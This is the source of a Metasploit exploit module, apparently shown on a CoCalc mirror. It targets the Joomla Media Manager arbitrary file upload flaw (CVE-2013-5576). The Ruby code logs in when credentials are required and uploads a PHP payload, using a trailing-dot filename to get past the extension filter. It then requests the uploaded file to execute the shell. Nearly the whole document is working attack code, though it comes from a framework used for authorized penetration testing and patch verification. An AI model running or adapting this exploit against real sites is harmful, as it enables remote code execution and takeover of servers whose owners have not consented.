CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/joomla_media_upload_exec.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info={})
13
super(update_info(info,
14
'Name' => "Joomla Media Manager File Upload Vulnerability",
15
'Description' => %q{
16
This module exploits a vulnerability found in Joomla 2.5.x up to 2.5.13, as well as
17
3.x up to 3.1.4 versions. The vulnerability exists in the Media Manager component,
18
which comes by default in Joomla, allowing arbitrary file uploads, and results in
19
arbitrary code execution. The module has been tested successfully on Joomla 2.5.13
20
and 3.1.4 on Ubuntu 10.04. Note: If public access isn't allowed to the Media
21
Manager, you will need to supply a valid username and password (Editor role or
22
higher) in order to work properly.
23
},
24
'License' => MSF_LICENSE,
25
'Author' =>
26
[
27
'Jens Hinrichsen', # Vulnerability discovery according to the OSVDB
28
'juan vazquez' # Metasploit module
29
],
30
'References' =>
31
[
32
[ 'CVE', '2013-5576' ],
33
[ 'OSVDB', '95933' ],
34
[ 'URL', 'http://developer.joomla.org/security/news/563-20130801-core-unauthorised-uploads' ],
35
[ 'URL', 'http://www.cso.com.au/article/523528/joomla_patches_file_manager_vulnerability_responsible_hijacked_websites/' ],
36
[ 'URL', 'https://github.com/joomla/joomla-cms/commit/fa5645208eefd70f521cd2e4d53d5378622133d8' ],
37
[ 'URL', 'http://niiconsulting.com/checkmate/2013/08/critical-joomla-file-upload-vulnerability/' ],
38
[ 'URL', 'https://www.rapid7.com/blog/post/2013/08/15/time-to-patch-joomla' ]
39
],
40
'Payload' =>
41
{
42
'DisableNops' => true,
43
# Arbitrary big number. The payload gets sent as POST data, so
44
# really it's unlimited
45
'Space' => 262144, # 256k
46
},
47
'Platform' => ['php'],
48
'Arch' => ARCH_PHP,
49
'Targets' =>
50
[
51
[ 'Joomla 2.5.x <=2.5.13 / Joomla 3.x <=3.1.4', {} ]
52
],
53
'Privileged' => false,
54
'DisclosureDate' => '2013-08-01',
55
'DefaultTarget' => 0))
56
57
register_options(
58
[
59
OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']),
60
OptString.new('USERNAME', [true, 'User to login with', '']),
61
OptString.new('PASSWORD', [true, 'Password to login with', '']),
62
])
63
64
end
65
66
def check
67
res = get_upload_form
68
69
if res and (res.code == 200 or res.code == 302)
70
if res.body =~ /You are not authorised to view this resource/
71
vprint_status("Joomla Media Manager Found but authentication required")
72
return Exploit::CheckCode::Detected
73
elsif res.body =~ /<form action="(.*)" id="uploadForm"/
74
vprint_status("Joomla Media Manager Found and authentication isn't required")
75
return Exploit::CheckCode::Detected
76
end
77
end
78
79
return Exploit::CheckCode::Safe
80
end
81
82
def upload(upload_uri)
83
begin
84
u = URI(upload_uri)
85
rescue ::URI::InvalidURIError
86
fail_with(Failure::Unknown, "Unable to get the upload_uri correctly")
87
end
88
89
data = Rex::MIME::Message.new
90
data.add_part(payload.encoded, "application/x-php", nil, "form-data; name=\"Filedata[]\"; filename=\"#{@upload_name}.\"")
91
post_data = data.to_s
92
93
res = send_request_cgi({
94
'method' => 'POST',
95
'uri' => "#{u.path}?#{u.query}",
96
'ctype' => "multipart/form-data; boundary=#{data.bound}",
97
'cookie' => @cookies,
98
'vars_get' => {
99
'asset' => 'com_content',
100
'author' => '',
101
'format' => '',
102
'view' => 'images',
103
'folder' => ''
104
},
105
'data' => post_data
106
})
107
108
return res
109
110
end
111
112
def get_upload_form
113
res = send_request_cgi({
114
'method' => 'GET',
115
'uri' => normalize_uri(target_uri.path, "index.php"),
116
'cookie' => @cookies,
117
'encode_params' => false,
118
'vars_get' => {
119
'option' => 'com_media',
120
'view' => 'images',
121
'e_name' => 'jform_articletext',
122
'asset' => 'com_content',
123
'author' => ''
124
}
125
})
126
127
return res
128
end
129
130
def get_login_form
131
132
res = send_request_cgi({
133
'method' => 'GET',
134
'uri' => normalize_uri(target_uri.path, "index.php", "component", "users", "/"),
135
'cookie' => @cookies,
136
'vars_get' => {
137
'view' => 'login'
138
}
139
})
140
141
return res
142
143
end
144
145
def login
146
res = send_request_cgi({
147
'method' => 'POST',
148
'uri' => normalize_uri(target_uri.path, "index.php", "component", "users", "/"),
149
'cookie' => @cookies,
150
'vars_get' => {
151
'task' => 'user.login'
152
},
153
'vars_post' => {
154
'username' => @username,
155
'password' => @password
156
}.merge(@login_options)
157
})
158
159
return res
160
end
161
162
def parse_login_options(html)
163
html.scan(/<input type="hidden" name="(.*)" value="(.*)" \/>/) {|option|
164
@login_options[option[0]] = option[1] if option[1] == "1" # Searching for the Token Parameter, which always has value "1"
165
}
166
end
167
168
def exploit
169
@login_options = {}
170
@cookies = ""
171
@upload_name = "#{rand_text_alpha(rand(5) + 3)}.php"
172
@username = datastore['USERNAME']
173
@password = datastore['PASSWORD']
174
175
print_status("Checking Access to Media Component...")
176
res = get_upload_form
177
178
if res and (res.code == 200 or res.code == 302) and !res.get_cookies.empty? and res.body =~ /You are not authorised to view this resource/
179
print_status("Authentication required... Proceeding...")
180
181
if @username.empty? or @password.empty?
182
fail_with(Failure::BadConfig, "#{peer} - Authentication is required to access the Media Manager Component, please provide credentials")
183
end
184
@cookies = res.get_cookies.sub(/;$/, "")
185
186
print_status("Accessing the Login Form...")
187
res = get_login_form
188
if res.nil? or (res.code != 200 and res.code != 302) or res.body !~ /login/
189
fail_with(Failure::Unknown, "#{peer} - Unable to Access the Login Form")
190
end
191
parse_login_options(res.body)
192
193
res = login
194
if not res or res.code != 303
195
fail_with(Failure::NoAccess, "#{peer} - Unable to Authenticate")
196
end
197
elsif res and (res.code == 200 or res.code == 302) and !res.get_cookies.empty? and res.body =~ /<form action="(.*)" id="uploadForm"/
198
print_status("Authentication isn't required.... Proceeding...")
199
@cookies = res.get_cookies.sub(/;$/, "")
200
else
201
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to Access the Media Manager Component")
202
end
203
204
print_status("Accessing the Upload Form...")
205
res = get_upload_form
206
207
if res and (res.code == 200 or res.code == 302) and res.body =~ /<form action="(.*)" id="uploadForm"/
208
upload_uri = Rex::Text.html_decode($1)
209
else
210
fail_with(Failure::Unknown, "#{peer} - Unable to Access the Upload Form")
211
end
212
213
print_status("Uploading shell...")
214
215
res = upload(upload_uri)
216
217
if res.nil? or res.code != 200
218
fail_with(Failure::Unknown, "#{peer} - Upload failed")
219
end
220
221
register_files_for_cleanup("#{@upload_name}.")
222
print_status("Executing shell...")
223
send_request_cgi({
224
'method' => 'GET',
225
'uri' => normalize_uri(target_uri.path, "images", @upload_name),
226
})
227
228
end
229
end
230
231